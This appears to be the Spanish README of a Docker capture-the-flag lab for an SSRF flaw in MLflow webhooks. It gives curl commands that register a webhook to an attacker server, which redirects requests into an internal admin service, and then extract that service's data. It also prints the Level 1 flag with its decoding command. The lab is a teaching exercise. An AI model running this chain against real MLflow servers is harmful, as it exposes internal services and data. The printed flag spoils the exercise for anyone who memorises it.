host                                   red interna de Docker (lab_network)
┌──────────────────────────────┐   ┌────────────────────────────────────────────────┐
│  atacante (curl / bash)      │   │                                                │
│       │                      │   │   mlflow-vulnerable      attacker_server       │
│       ▼                      │   │   (5000, MLflow 3.13.0)  (8080, responder 302) │
│ http://localhost:5000        │   │        │  webhook URL         ▲                │
│ http://localhost:8080        │   │        ▼───────────────────────┘                │
│ http://localhost:8888 ✗      │   │        │ 302 Location: internal-service         │
│                              │   │        ▼  (SSRF, sigue el redirect)            │
│                              │   │   internal-service (8888)   ← SIN puertos al   │
│                              │   │        "/admin/secret"           host          │
│                              │   └───────────────────────────────────────────────┘
└──────────────────────────────┘

cd mlflow-ssrf-lab
bash run_lab.sh start      # levanta los 3 contenedores y espera a MLflow
bash run_lab.sh exploit    # explota automáticamente (SSRF → bandera del Nivel 1)

bash manual_exploitation_interactive.sh

bash ctf_lab.sh            # menú interactivo del CTF
bash ctf_lab.sh nivel 1    # instrucciones + pista del nivel (comandos para EJECUTAR TÚ MANUALMENTE)
bash ctf_lab.sh flag '<flag>'   # validar el flag que exfiltraste y decodificaste (+pts)
bash ctf_lab.sh status     # niveles completados + puntuación (235 pts, sin mostrar flags)
bash ctf_lab.sh hint 2     # pista de un nivel
bash ctf_lab.sh reset      # borrar progreso

bash run_lab.sh start     # start (default) + status endpoint
bash run_lab.sh exploit   # ejecuta exploit.py dentro del contenedor mlflow
bash run_lab.sh manual    # muestra los comandos curl paso a paso
bash run_lab.sh logs      # sigue los logs en tiempo real
bash run_lab.sh stop      # detiene contenedores
bash run_lab.sh clean     # detiene y elimina datos del lab

# 1. Crear el webhook apuntando al servidor del atacante (redirige a la raíz del portal interno, Nivel 1)
WEBHOOK_ID=$(curl -s -X POST http://localhost:5000/api/2.0/mlflow/webhooks \
  -H "Content-Type: application/json" \
  -d '{"name":"ssrf_test","url":"http://attacker_server:8080/webhook","events":[{"entity":"MODEL_VERSION","action":"CREATED"}]}' \
  | jq -r '.webhook.webhook_id')

# 2. Disparar /test → MLflow valida la URL, sigue el 302 hasta el servicio interno
curl -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
  -H "Content-Type: application/json" -d '{}'

# 3. Extraer los datos exfiltrados (anidados en result.response_body)
curl -s -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
  -H "Content-Type: application/json" -d '{}' \
  | jq -r '.result.response_body | fromjson'

{
  "service": "internal-admin-portal",
  "banner": "Portal administrativo interno — solo alcanzable desde la red interna",
  "nivel": 1,
  "flag_enc": "ZmxhZ3tuMV9lbnVtZXJhY2lvbl9zc3JmfQ==",
  "flag_decoding": "echo ZmxhZ3tuMV9lbnVtZXJhY2lvbl9zc3JmfQ== | base64 -d",
  "pista": "El portal expone recursos bajo /admin/ y /api/. Busca credenciales de administrador."
}

CVE-2026-29000-poc-lab/
├── README.md                          ← Este archivo (índice / portada del lab)
├── REDTEAM_GUIDE.md                   ← Ejercicio manual en clave red team: recon → hipótesis → exploit
├── EXPLOITATION_GUIDE.md              ← Procedimiento completo del lab (SSRF, variaciones, integridad)
├── manual_exploitation_interactive.sh ← Demo interactiva paso a paso (menú)
└── mlflow-ssrf-lab/                   ← Código y orquestación del lab
    ├── docker-compose.yml             ← 3 contenedores (mlflow, attacker, internal)
    ├── exploit.py                     ← Exploit automatizado (se ejecuta dentro del contenedor)
    ├── attacker_server.py             ← Servidor del atacante (302 configurable)
    ├── internal_service.py            ← Servicio interno "protegido" (portal 8888 + servicio oculto 8889)
    ├── ctf_lab.sh                     ← Guía manual del CTF (instrucciones + pistas + validador de flags)
    ├── run_lab.sh                     ← start / exploit / manual / logs / stop / clean
    └── mlflow_data/                   ← Datos generados (BD sqlite, artefactos)